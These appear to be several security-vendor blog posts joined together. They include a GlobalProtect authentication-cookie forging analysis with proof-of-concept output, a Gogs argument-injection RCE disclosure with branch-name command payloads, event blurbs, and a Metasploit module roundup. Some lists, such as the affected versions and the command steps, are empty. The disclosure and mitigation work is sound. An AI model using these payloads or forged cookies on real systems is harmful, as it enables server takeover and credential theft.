GlobalProtect Authentication Log

Technical Analysis

Per the vendor advisory, we know the issue lies in a feature called “authentication override”. This feature allows a GlobalProtect portal or gateway to issue cookies to an authenticated user. The authenticated user can then use an authentication override cookie in future communications to the GlobalProtect portal or gateway in lieu of re-authenticating via credentials, akin to a bearer token. This is not a feature that is enabled by default.

We also know from reading the vendor advisory that the vulnerability requires a certain configuration in how certificates are used to encrypt and decrypt these authentication override cookies. Specifically, the certificate used to encrypt and decrypt authentication override cookies must not be the same certificate used for the GlobalProtect portal or gateway’s HTTPS service. This is a significant clue to how the vulnerability works.

To explore what an authentication override cookie looks like and how they are created, we can look at the implementation in the /usr/local/bin/gpsvc binary which implements the GlobalProtect service (Our testing appliance was running PAN-OS 10.2.8 in a vulnerable configuration). Inspecting the main_DoAuthLogin function, we see that if a HTTP form value of either portal-userauthcookie or portal-prelogonuserauthcookie is present during a POST request to /ssl-vpn/login.esp, authentication will be performed by a call to main_AuthWithCookie. This function will take the incoming encrypted cookie value stored in either portal-userauthcookie or portal-prelogonuserauthcookie, decrypt it and extract the cookies user name, domain name, host id, client OS, remote address, and timestamp (as auth override cookies have a lifetime after which they will expire).

void __gostk main_AuthWithCookie(
        main_GpTask_0 *t,
        paloaltonetworks_com_libs_common_AuthProfile *authProfile,
        string authCookie,
        string key,
        string stage,
        uint32 cookieLifetime,
        uint32 eventId,
        uint32 netMask,
        bool checkSrcIp,
        main_authResult_0 *result,
        string defaultDescription)
{
// ...

  ts = 0;
  errorCode = 0;
  user = 0;
  domain = 0;
  hostId = 0;
  clientOs = 0;
  remoteAddr = 0;
  result->retCode = 0;
  startTime = time_Now();
  result->cookie_auth_status = -1;
  t->Variables.authMethod.len = 6;
if ( *(_DWORD *)&runtime_writeBarrier.enabled )
    runtime_gcWriteBarrier();
else
t->Variables.authMethod.str = (uint8 *)"Cookie";
  str = authProfile->AuthProfileName.str;
  t->Variables.authProfile.len = authProfile->AuthProfileName.len;
if ( *(_DWORD *)&runtime_writeBarrier.enabled )
    runtime_gcWriteBarrier();
else
t->Variables.authProfile.str = str;
  v27 = main_DecryptAppAuthCookie(t, authCookie, key, &user, &domain, &hostId, &clientOs, &remoteAddr, &ts);

If we look at the main_DecryptAppAuthCookie function we can begin to see the problem. The incoming encrypted cookie is base64 decoded and then decrypted using a private key. The decrypted content is then trusted implicitly, with no signature verification of any kind occurring after decryption.

error __gostk main_DecryptAppAuthCookie(
        main_GpTask_0 *t,
        string authCookie,
        string privateCert,
        string *user,
        string *domain,
        string *hostId,
        string *clientOs,
        string *remoteAddr,
        int64 *ts)
{
// ...

  if ( privateCert.len )
  {
    *(retval_95DD80 *)&text[48] = paloaltonetworks_com_libs_common_DecryptRsaPrivateWithBase64Std(
                                    privateCert,
                                    (string)0LL,
                                    authCookie);

The implication here is that anyone who knows the public key for the certificate used by the authentication override feature to encrypt and decrypt cookies, can successfully forge and encrypt an arbitrary authentication override cookie. The question then becomes, how does an attacker learn the correct public key to use in this attack?

This brings us back to the vendor's advisory where they state “do not reuse the portal or gateway certificate, and do not share this certificate with other features or users”.

If a GlobalProtect portal or gateway has reused the certificate for encrypting and decrypting cookies with another feature, such as the HTTPS service of the portal or gateway, then a remote unauthenticated attacker can discover the public key for that certificate. In doing so the attacker will be able to successfully forge and encrypt arbitrary authentication override cookies. As these forged cookies will be successfully decrypted server side, they will be trusted and an authentication bypass will be achieved. An attacker can use a valid forged authentication override cookie to login and establish a VPN connection.

In addition to Exposure Command and InsightVM customers being able to assess their exposure with authenticated checks, a publicly available proof-of-concept script to test if an appliance is vulnerable to CVE-2026-0257 has been developed by Rapid7 Labs. The script will retrieve all certificates in the chain for the HTTPS service of either a GlobalProtect portal or gateway. Each certificate in the chain is iterated over and an authentication override cookie is forged using each certificate's public key. This forged cookie is then tested against the GlobalProtect portal or gateway, and the script reports back if authentication was successful or not. 

The usage of the script is shown below.

$ python3 forge_cookie.py --help
usage: forge_cookie.py [-h] --target TARGET [--port PORT] [--user USER] [--domain DOMAIN] [--host-id HOST_ID] [--client-os CLIENT_OS] [--client-ip CLIENT_IP] [--context {gateway,portal,both}] [--verbose]

Forge a GlobalProtect auth override cookie using the public key from TLS (CVE-2026-0257).

options:
  -h, --help            show this help message and exit
  --target TARGET       Target GP portal/gateway IP/hostname
  --port PORT           Target port (default: 443)
  --user USER           Username to forge cookie for (default: admin)
  --domain DOMAIN       Domain for cookie (default: empty)
  --host-id HOST_ID     Host ID for cookie (default: empty)
  --client-os CLIENT_OS
                        Client OS for cookie (default: Windows)
  --client-ip CLIENT_IP
                        Client IP in cookie (default: 0.0.0.0)
  --context {gateway,portal,both}
                        Context to test: gateway, portal, or both (default target)
  --verbose             Print full response

A successful invocation of the script against a vulnerable appliance is shown below. We can see the target's GlobalProtect gateway accepted a forged authentication override cookie using the second certificate in the chain.

$ python3 forge_cookie.py --target 192.168.86.99 --user haxor
[*] Retrieving certificate chain from 192.168.86.99:443 ...
  Found 2 certificate(s) in chain:
  [0] CN=192.168.86.99 (RSA 2048 bits, CA=False)
  [1] CN=GP-Lab-CA (RSA 2048 bits, CA=True)

[*] Forging cookie for user 'haxor', testing each key

  Trying [0] CN=192.168.86.99
  [-] Failure - Gateway did not accepted the forged cookie
  [-] Failure - Portal did not accepted the forged cookie

  Trying [1] CN=GP-Lab-CA
  [+] Success - Gateway accepted the forged cookie
  Cookie: ng9ygxlaclylNXeSHcakXZPK06Fno0svVirz6RhRtA5mDmOaZyg/KMxUuM5lRvm1Rn1Z6vqaWQQPvQOHzwJnyldOmhUKy+HDMgIYtJ/kk3ypMqmFE7BbmPxnSKxKcQQbNIcxgkrhCwuJKwybuq0aaPVNzN9BSWmh1QmZj7oLjTEo9ExAXrm951mqYhh3+MgBCScaYqP23WzrC+vzqJB74sHoMUuFWIF8/sMYDMpvENOoI4nXAFCaRYSruW9FQQy5VTzNifNWkrYcdzDCXKiP8v4G098/2QoBbVoyHBZwbgHGBsRU3ZeSgoHjrhjxyotIshKVssUs8CRpuG2HlZBM0Q==

We can observe the successful authentication via the management interface, as shown below. The two initial failures correspond to the first certificate being used which was the incorrect certificate.

Figure 1: PAN-OS Management Interface

Mitigation Guidance

According to the Palo Alto Networks advisory, the following product versions are affected by CVE-2026-0257:

Affected products must have the authentication override feature enabled in either the GlobalProtect portal or gateway, and must reuse the authentication override cookie encryption and decryption certificate with another feature in order to be vulnerable. As a mitigation, affected products should either disable the authentication override feature or generate a new certificate to use exclusively for the authentication override feature.

Please refer to the vendor advisory for the latest guidance.

Rapid7 Customers

Managed Detection Response (MDR)

The following detection rules are available for InsightIDR and Managed Detection Response (MDR) customers:

• Suspicious Authentication - Palo Alto GlobalProtect Cookie Authentication to Local Admin Account

• Threat Intel (Rapid7 MDR SOC/IR) - VPN Authentication via Spoofed MAC Address

• Threat Intel (Rapid7 MDR SOC/IR) - Indicator of Compromise Observed 

• Suspicious VPN Authentication - Palo Alto GlobalProtect Login via Default Hostname

• Suspicious VPN Authentication - Local Account Logon via Generic Non-Human Identity

• Suspicious VPN Authentication - Local Account

• Suspicious Authentication - Vultr

• Suspicious Authentication - Dromatics Systems

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-0257 using an authenticated check available since the May 15 content release.

IntelHub

IntelHub customers can look into the Platform to search for more details and correlate the indicators of compromise with the data from their own environment.

Known Indicators of Compromise

Low-cost hosting providers; frequent origin of sustained threat campaigns.

Updates

• May 29, 2026: Initial publication.
• May 29, 2026: Added CISA KEV addition.
• June 2, 2026: Added IntelHub information under Rapid7 Customers section, updated to reflect Palo Alto Networks change to security advisory (CVSS score change). Added 3 new IOCs (2 IPs and 1 machinename).
• June 3, 2026: Added observed URI endpoints accessed for successful VPN connections to the Observed Attacker Behavior section.

One of the biggest themes in the conversation is that compliance is no longer something organizations can treat as a point-in-time exercise. Frameworks like NIS2 and DORA are increasing expectations around resilience and accountability, while cloud environments and faster release cycles make it harder to prove that controls are working consistently over time.

We also discuss the growing gap between security operations and compliance reporting. Security teams generate huge amounts of operational data every day, but translating that into evidence regulators, auditors, and leadership teams can actually use remains a challenge. The conversation looks at how organizations are trying to reduce manual effort, where automation can genuinely help, and why visibility and ownership are becoming more important as regulatory pressure grows.

Organizations still treat compliance as separate from day-to-day security operations, and the teams making the most progress are bringing those two worlds closer together, treating compliance less like a reporting layer and more like part of the operational workflow itself.

Watch the full episode below to hear the full conversation and how organizations are approaching compliance, risk, and resilience heading into 2026.

⠀

Rapid7 Labs discovered a critical argument injection (CWE-88) vulnerability in Gogs, a popular open-source self-hosted Git service, tracked as CVE-2026-52806. Rapid7 Labs scores this vulnerability as CVSSv4 9.4 (Critical). The vulnerability allows any authenticated user to achieve remote code execution (RCE) on the server by creating a pull request with a malicious branch name that injects the --exec flag into git rebase during the "Rebase before merging" merge operation. A fix is available in Gogs 0.14.3, released June 7, 2026.

The exploit requires no admin privileges and no interaction with other users; an attacker operates entirely within their own account. Since Gogs ships with open registration enabled by default (DISABLE_REGISTRATION = false) and no limit on repository creation (MAX_CREATION_LIMIT = -1), an unauthenticated attacker can simply create an account and repository on any default-configured instance. Any registered user who creates a repo is automatically its owner. From there, enabling rebase merging is a single toggle in settings, and the entire exploit chain can be operated without interaction from any other user.

Alternatively, any user with write access to a repository where rebase is already enabled can exploit it directly. On instances where repository creation is restricted, an attacker still only needs write access to any repository that has (or can have) rebase merging enabled.

The result is arbitrary command execution as the Gogs server process user, giving the attacker the ability to compromise the server, read every repository on the instance (including other users' private repos), dump credentials (password hashes, API tokens, SSH keys, 2FA secrets), pivot to other network-accessible systems, and modify any hosted repository's code.

The latest release versions at the time of research, Gogs 0.14.2 and 0.15.0+dev (commit b53d3162), were confirmed to be affected. All prior versions supporting the "Rebase before merging" style are likely vulnerable as well.

Update #1: On June 7, 2026, the Gogs maintainer accepted Rapid7's patch and released version 0.14.3, which fixes this vulnerability. The vulnerability has been assigned CVE-2026-52806.

Product description

Gogs is a lightweight, self-hosted Git service written in Go. With ~50,000 GitHub stars and over 5,000 forks, it's one of the more popular self-hosted alternatives to GitHub, commonly deployed by companies, universities, and open-source projects.

A Shodan search for http.title:"Gogs" http.title:"Sign In" returns 1,141 internet-facing instances at the time of publication. The real install base is much larger since most deployments sit behind VPNs or internal networks.

Credit

This vulnerability was discovered by Jonah Burgess (CryptoCat), Senior Security Researcher at Rapid7, and is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Impact

Any Gogs instance with more than one user account is effectively "multi-tenant", meaning each user has their own repositories, credentials, and data on a shared server. This is the default for organizations, universities, and teams that use Gogs as a shared Git hosting platform. On any such instance, this vulnerability gives a single authenticated user full control of the underlying server. The attacker operates entirely within their own repository; no access to other users' repos is needed.

The vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods (pre-built binary, Docker, source). On Docker installations, the Gogs process runs as the git user (UID 1000 by default). On binary installations, the process user depends on how the administrator deployed the service (commonly git or a dedicated service account).

The practical impact:

• Server compromise: Arbitrary command execution as the Gogs process user (typically git)

• Cross-tenant data breach: Read every repository on the instance, including other users' private repos

• Credential theft: Dump the database containing password hashes, API tokens, SSH keys, and 2FA secrets for all users

• Lateral movement: Pivot to other systems reachable from the server's network

• Supply chain attacks: Modify any hosted repository's code. The Gogs process user (typically git) has direct filesystem-level read/write access to every repository on the instance under a single REPOSITORY_ROOT directory, with no OS-level isolation between repositories. Direct filesystem manipulation bypasses Gogs' audit logging, and without commit signing (uncommon on self-hosted instances), forged commits are difficult to detect.

The exploit is fully automatable (a Metasploit module is provided) and runs in seconds. When the attacker creates and deletes their own repository, the only trace is an HTTP 500 in the server logs. When exploiting an existing repository, additional artifacts remain (see heading Indicators of compromise).

Technical analysis

The testing target was a Gogs 0.14.2 installation running via Docker on Linux (Ubuntu 24.04). The vulnerability was also confirmed on Gogs 0.15.0+dev (commit b53d3162). As noted above, the vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods.

Background: Merge vs. rebase in Gogs

A standard merge creates a merge commit joining two branch histories. A rebase before merge replays the head branch's commits on top of the base branch to produce a linear history. Under the hood, Gogs runs git rebase <base_branch> <head_branch> in a temp directory before pushing the result.

Critically, git rebase accepts an --exec flag that tells Git to run a shell command (via sh -c) after replaying each commit. Argument injection into --exec has been a recurring source of RCE vulnerabilities in Git-based applications. This is the exploitation primitive.

Gogs exposes 'Rebase before merging' as a per-repo setting (PullsAllowRebase). It is not enabled by default, but any repo owner or admin can enable it under Settings > Advanced. By default, any user who creates a repo is automatically its owner, so the barrier to exploitation is low. Administrators can restrict repo creation globally (MAX_CREATION_LIMIT = 0 in app.ini) or per-user (via Max Repo Creation in the admin panel), but this does not prevent exploitation by users with write access to existing repositories.

Root cause

The Merge() function in internal/database/pull.go passes the PR's base branch name directly to git rebase without a -- separator (a POSIX convention that signals the end of options, preventing subsequent arguments from being interpreted as flags):

if _, stderr, err = process.ExecDir(-1, tmpBasePath,
    fmt.Sprintf("PullRequest.Merge (git rebase): %s", tmpBasePath),
"git", "rebase", "--quiet", pr.BaseBranch, remoteHeadBranch); err != nil {

⠀

pr.BaseBranch comes from the URL parameter in internal/route/repo/pull.go:

baseRef := infos[0]  // from strings.Split(c.Params("*"), "...")

⠀

Both baseRef and headRef are validated via RevParse before the PR is created. RevParse is defined in the external git-module library and works by calling git rev-parse --verify <ref>, which only checks whether the ref resolves to a valid Git object. It does not sanitize against argument injection, and it does not need to since git rev-parse --verify treats --exec=... as a ref name and fails if it doesn't resolve. However, the attacker pushes the malicious branch name (e.g. --exec=<payload>) to the repo first, so RevParse succeeds because the ref genuinely exists. The value is stored in the database and later passed as-is to the rebase command.

Crafting the payload

Git branch names can legally contain $, {, }, =, and -. An attacker creates a branch named:

--exec=touch${IFS}/tmp/rce_proof

⠀

When this is used as pr.BaseBranch, the rebase command becomes:

git rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature'

⠀

Git's argument parser treats --exec=touch${IFS}/tmp/rce_proof as the --exec flag, not a branch name. --exec runs the value via sh -c after each replayed commit, and ${IFS} expands to a space in the shell, bypassing Git's prohibition on spaces in branch names.

For commands containing characters forbidden in Git refs (:, ~, ^, ?, *, [, \, //), such as URLs, the payload is base64-encoded:

--exec=echo${IFS}<base64_payload>|base64${IFS}-d|sh

⠀

The vulnerability affects Windows installations as well, but the payload delivery method differs. On Linux, the payload can be base64-encoded inline in the branch name (e.g. --exec=echo${IFS}<b64>|base64${IFS}-d|sh). On Windows, this fails because NTFS forbids the | (pipe) character in filenames, and Git stores branch refs as files at refs/heads/<branch_name>.

The solution is file-based payload delivery where the exploit commits a script file (e.g. .abcdef) to the repository and uses a short, filesystem-safe branch name: --exec=sh${IFS}.abcdef. An additional complication is that MSYS2's sh (bundled with Git for Windows) mangles shell metacharacters like $, &, and backticks in the payload before PowerShell can process them. To avoid this, the script file invokes cmd.exe //c .abcdef.bat (where //c is the MSYS2 escaping for /c), which natively executes the .bat file containing the PowerShell payload without shell interpretation issues. The Metasploit module implements this cross-platform approach automatically.

Execution flow during Merge()

The MergeStyleRebase code path in Merge() runs these Git commands sequentially:

⠀

Step 5 fails and Merge() returns HTTP 500, but the RCE already fired at Step 3. The 500 gets logged but doesn't undo anything.

Because the merge aborts partway through, the repository's git state is left corrupted (stuck in a partial rebase). This means the exploit can only be fired once per repository. In cases where the attacker created the repo themselves, this doesn't matter since the repo is deleted afterward, but when targeting an existing repository, the repo is effectively burned after a single use.

Why the PR becomes mergeable

For the exploit to work, the PR needs to reach "Mergeable" status so the merge button is available. This depends on an interesting race condition in how Gogs validates PRs:

1. During PR creation, testPatch() calls UpdateLocalCopyBranch(pr.BaseBranch). For a fresh repo with no local copy, it takes the Clone path, which includes --end-of-options. The malicious branch name is treated as data, clone succeeds, testPatch completes normally.

2. Since testPatch didn't flag a conflict, the status gets promoted to PullRequestStatusMergeable.

3. The background TestPullRequests goroutine periodically re-checks PRs. On the next call, the local copy does exist, so UpdateLocalCopyBranch takes the Checkout path instead. This one is missing --end-of-options, so the checkout fails.

4. That error causes TestPullRequests to skip checkAndUpdateStatus(), meaning the PR stays Mergeable forever.

The default exploit path creates a fresh repository, so the first testPatch always hits the Clone path and succeeds. The same applies when targeting an existing repository that has never had a PR created against it. If the target repo has had prior PRs, the local copy already exists, Checkout fails, and the PR cannot be created.

Relationship to prior argument injection fixes

Gogs has addressed argument injection vulnerabilities across multiple prior advisories. This vulnerability is in the same class but affects a different code path (Merge()) that was never patched:

The git-module library (v1.8.7) was hardened with --end-of-options across Clone(), Push(), Fetch(), and 28 other call sites. However, the Merge() function in internal/database/pull.go bypasses all of these protections because it uses raw process.ExecDir (wrapping exec.Command directly) instead of the safe git-module API. The git rebase call was never migrated.

Exploitation

The Metasploit module automates the full exploit chain against both Linux and Windows targets and supports two modes of operation:

• own_repo (default): The module creates a temporary repository under the attacker's account, runs the exploit, and deletes the repo on cleanup. This works on any default-configured instance and supports all payload types.

• existing_repo: The module targets a repository the attacker already has write and merge access to. This is useful on instances where repo creation is restricted. Only command payloads are supported in this mode (staged payloads would require multiple merge cycles, which is not possible due to the repo corruption described above). Cleanup deletes the malicious branches and closes the PR, but the repository's git state remains corrupted.

On Windows, the module uses the file-based delivery method described above to work around NTFS filename restrictions.

⠀

Figure 2: Metasploit module obtaining a Meterpreter session on a Gogs 0.14.2 instance running on Windows 11.

Indicators of compromise (IoCs)

Defenders should watch the Gogs server logs for error entries matching this pattern:

[E] ...merge: git checkout '--exec=<...>': exit status 128 - error: unknown option `exec=<...>'

⠀

This is logged via c.Error(err, "merge"), which writes the full error (including the malicious branch name) to the server log at ERROR level. Note that a more cleverly written exploit may not be this obvious in log files.

If the attack targeted an existing repository (rather than one the attacker created and deleted), additional artifacts will be present: the malicious branch name (e.g. --exec=...) in the repository's branch listing, a failed pull request in the PR history, and the repository itself will be in a corrupted git state (returning HTTP 500 on certain operations). On Windows, the committed payload files (e.g. .abcdef, .abcdef.bat) will also remain in the git history. Administrators should audit repositories for branch names beginning with --.

The Metasploit module also creates a Gogs API token (named msf_<hex>) during exploitation. Gogs does not expose a token deletion API endpoint, so this token persists after the attack and remains valid until manually revoked via the web UI or database. Defenders should check user token lists at /-/user/settings/applications for unexpected entries.

The payload file used during exploitation is written to the repository's bare git directory on the server filesystem and will persist after the attack.

Remediation

Gogs 0.14.3, released June 7, 2026, fixes this vulnerability. Rapid7 recommends that all Gogs users upgrade immediately. The fix was implemented via pull request #8301, submitted by Rapid7.

For users who cannot upgrade immediately, the following mitigations reduce exposure:

• Restricting user registration (DISABLE_REGISTRATION = true in app.ini) to prevent untrusted users from creating accounts. This is the most impactful mitigation since the exploit is self-contained within a single user's repository.

• Restricting repository creation (MAX_CREATION_LIMIT = 0 in app.ini) to prevent users from creating their own repos. This can also be set per-user via Max Repo Creation in the admin panel. This blocks the easiest attack path (creating a new repo with rebase enabled), but does not prevent exploitation by users with write access to existing repositories.

• Auditing rebase merge settings: While "Rebase before merging" can be disabled per-repo under Settings > Advanced, note that this is not an effective defense against a malicious user who owns or has admin access to a repo, since they can re-enable rebase at will. There is no global or organization-level setting to restrict this. Disabling rebase is only useful for reducing the attack surface on shared repositories where the attacker has write access but not admin privileges.

Rapid7 Customers

Exposure Command, InsightVM, and Nexpose customers can assess exposure to the Authenticated RCE via Argument Injection in Gogs with a vulnerability check available in the May 29 content release. 

Disclosure timeline

• March 16, 2026: Vulnerability discovered and validated against Gogs 0.14.2 and 0.15.0+dev (commit b53d3162).

• March 17, 2026: Reported to Gogs maintainers via GitHub Security Advisory (GHSA-qf6p-p7ww-cwr9).

• March 28, 2026: Maintainer acknowledges receipt.

• April 21, 2026: Contacted maintainer for a status update (no response).

• May 6, 2026: Reminded maintainer of previously planned disclosure date, and offered extension if required (no response).

• May 20, 2026: Advised maintainer the blog release date is finalized for May 28, 2026 (no response).

• May 28, 2026: This disclosure.

• May 29, 2026: Rapid7 submits a patch as pull request #8301.

• June 1, 2026: Rapid7 Customers section added to indicate availability of a vulnerability check.

• June 6, 2026: Maintainer accepts the pull request and requests CVE assignment from GitHub.

• June 7, 2026: Gogs 0.14.3 released, fixing this vulnerability along with other security issues.

• June 8, 2026: GitHub reserves CVE-2026-52806.

Updates

• May 28, 2026: Initial publication.

• June 1, 2026: Added Rapid7 Customers section to indicate availability of a vulnerability check.

• June 8, 2026: Updated contents to reflect that the Gogs maintainer accepted Rapid7's patch and released version 0.14.3 on June 7, 2026, which fixes this vulnerability.

• June 9, 2026: Updated to include assigned CVE-2026-52806.

At the Rapid7 Global Cybersecurity Summit, the customer panel How Clarity Beats Complexity explores how leaders are navigating that reality in practice. Drawing on perspectives from CISOs and technology leaders across industries, the session focuses on how teams are managing complexity without losing sight of what matters.

Rather than focusing on theory, the discussion is structured around a set of practical questions that reflect what teams are dealing with today. These include where complexity is making security harder to manage, how alerts, data, and handoffs are slowing decisions, and what can look like progress but fails to deliver meaningful outcomes.

As the conversation develops, speakers such as Debby Briggs, VP-CISO at Netscout Systems and Raheem Daya CTO at Target RWE share how their teams are rethinking processes, habits, and assumptions that add noise without improving security. The emphasis shifts toward questioning metrics that measure activity rather than risk, and focusing instead on what drives meaningful outcomes.

From there, the session looks at what is actually making a difference. Topics include how leaders are clarifying priorities, aligning security actions with real business impact, and where visibility and context are proving more valuable than volume. Will Lambert, Information Security Manager at Culligan International adds a practitioner perspective, highlighting how clearer ownership and better coordination across teams help reduce friction in day-to-day operations.

Throughout the session, the focus remains on practical decision-making. This includes managing complexity without oversimplifying, validating investments in areas such as MDR and consolidation, and ensuring security teams are focused on outcomes that improve resilience.

For CISOs, security operations leaders, and teams evaluating their current approach, this panel offers a grounded view of how others are tackling the same challenges.

Watch the full customer panel to hear how security leaders are cutting through complexity and focusing on what actually improves outcomes.

Our humble Metasploit weekly(ish) blog has been blessed with a new network component vulnerability. The dynamic duo of @sfewer-r7 and @jburgess-r7 have discovered and authored the admin/networking/cisco_sdwan_vhub_auth_bypass module for CVE-2026-20182, a vulnerability gracing the Cisco Catalyst SD-WAN Controller. The devices, whose purpose is to control a software-defined (SD) wide-area-network (WAN) was unfortunately missing an extra A for authentication. An oversight that Cisco has duly patched.

Elsewhere this week, the HUSTOJ online judge platform has been caught failing to judge its own zip files (CVE-2026-24479), courtesy of a zip-slip RCE module from LoTuS and friends. Next, @Alpenlol has weaponized the small matter of Barracuda's Email Security Gateway, happily eval()-ing the number format string inside an attached Excel file (CVE-2023-7102).

Our own @jburgess-r7 has been rather busy and also contributed a cPanel/WHM authentication bypass module that escalates straight to root via CRLF injection (CVE-2026-41940). And last, but not least, @h00die has gifted us a post module for Tenable Security Center that quietly extracts and cracks its stored credential hashes. Nevertheless, this module works only if your Tenable Security Center is using the same password you have been using since 2006.

New module content (5)

Cisco Catalyst SD-WAN Controller vHub Authentication Bypass

Authors: Crypto-Cat and sfewer-r7

Type: Auxiliary

Pull request: #21463 contributed by jburgess-r7

Path: admin/networking/cisco_sdwan_vhub_auth_bypass

AttackerKB reference: CVE-2026-20182

Description: This adds a new auxiliary module for CVE-2026-20182, an authentication bypass in the Cisco Catalyst SD-WAN Controller.

HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE

Authors: LoTuS and friends, ling101w, and oxagast

Type: Exploit

Pull request: #21165 contributed by oxagast

Path: linux/http/hustoj_problem_import_rce

AttackerKB reference: CVE-2026-24479

Description: This adds an exploit for CVE-2026-24479 which is a zip slip vulnerability in HustOJ, an open source online judge platform, prior to version 26.01.24.

Barracuda ESG Spreadsheet::ParseExcel Arbitrary Code Execution

Authors: Curt Hyvarinen, Mandiant, and haile01

Type: Exploit

Pull request: #21035 contributed by Alpenlol

Path: linux/smtp/barracuda_esg_spreadsheet_rce

AttackerKB reference: CVE-2023-7101

Description: Adds a new exploit module for CVE-2023-7102, an unauthenticated remote code execution vulnerability in Barracuda Email Security Gateway (ESG) appliances. The flaw resides in the Amavis scanner's use of the Perl Spreadsheet::ParseExcel library, which allows eval injection via malicious Excel number format strings. The module uses Rex::OLE to craft a minimal BIFF8 XLS file with the payload embedded in a FORMAT record and delivers it via SMTP.

cPanel/WHM CRLF Injection Authentication Bypass RCE

Authors: Adam Kues, Crypto-Cat, Shubham Shah, and Sina Kheirkhah

Type: Exploit

Pull request: #21417 contributed by jburgess-r7

Path: multi/http/cpanel_whm_auth_bypass_rce

AttackerKB reference: CVE-2026-41940

Description: This adds an exploit module for cPanel/WHM authentication bypass leading to root RCE (CVE-2026-41940).

Tenable Security Center

Author: h00die

Type: Post

Pull request: #21177 contributed by h00die

Path: linux/gather/tenable_security_center

Description: This adds a linux post module for Tenable Security Center that will retrieve credential hashes and crack them.

Enhancements and features (6)

• #21292 from sjanusz-r7 - Updates the RPC notes command to allow data to return a hash value were applicable.
• #21305 from sjanusz-r7 - Updates the services RPC endpoint to additionally report the resource and parent services fields.
• #21414 from dledda-r7 - This backports the Python components of the Copy Fail (CVE-2026-31431) exploit to work with Python 2.7 interpreters, effectively supporting older targets.
• #21447 from jheysel-r7 - This updates Metasploit's documentation to describe how a kerberoast attack can be performed entirely with Metasploit. It also updates the kerberoast module to correctly log the realm to the database regardless of if an existing LDAP session was used or not.
• #21458 from dwelch-r7 - Updates the Sinatra, Rack, and Thin web service dependencies to support an upcoming Rails 8 upgrade.
• #21460 from bhaskarbhar - This consolidates some code used by Windows exec payloads to provide a more consistent experience.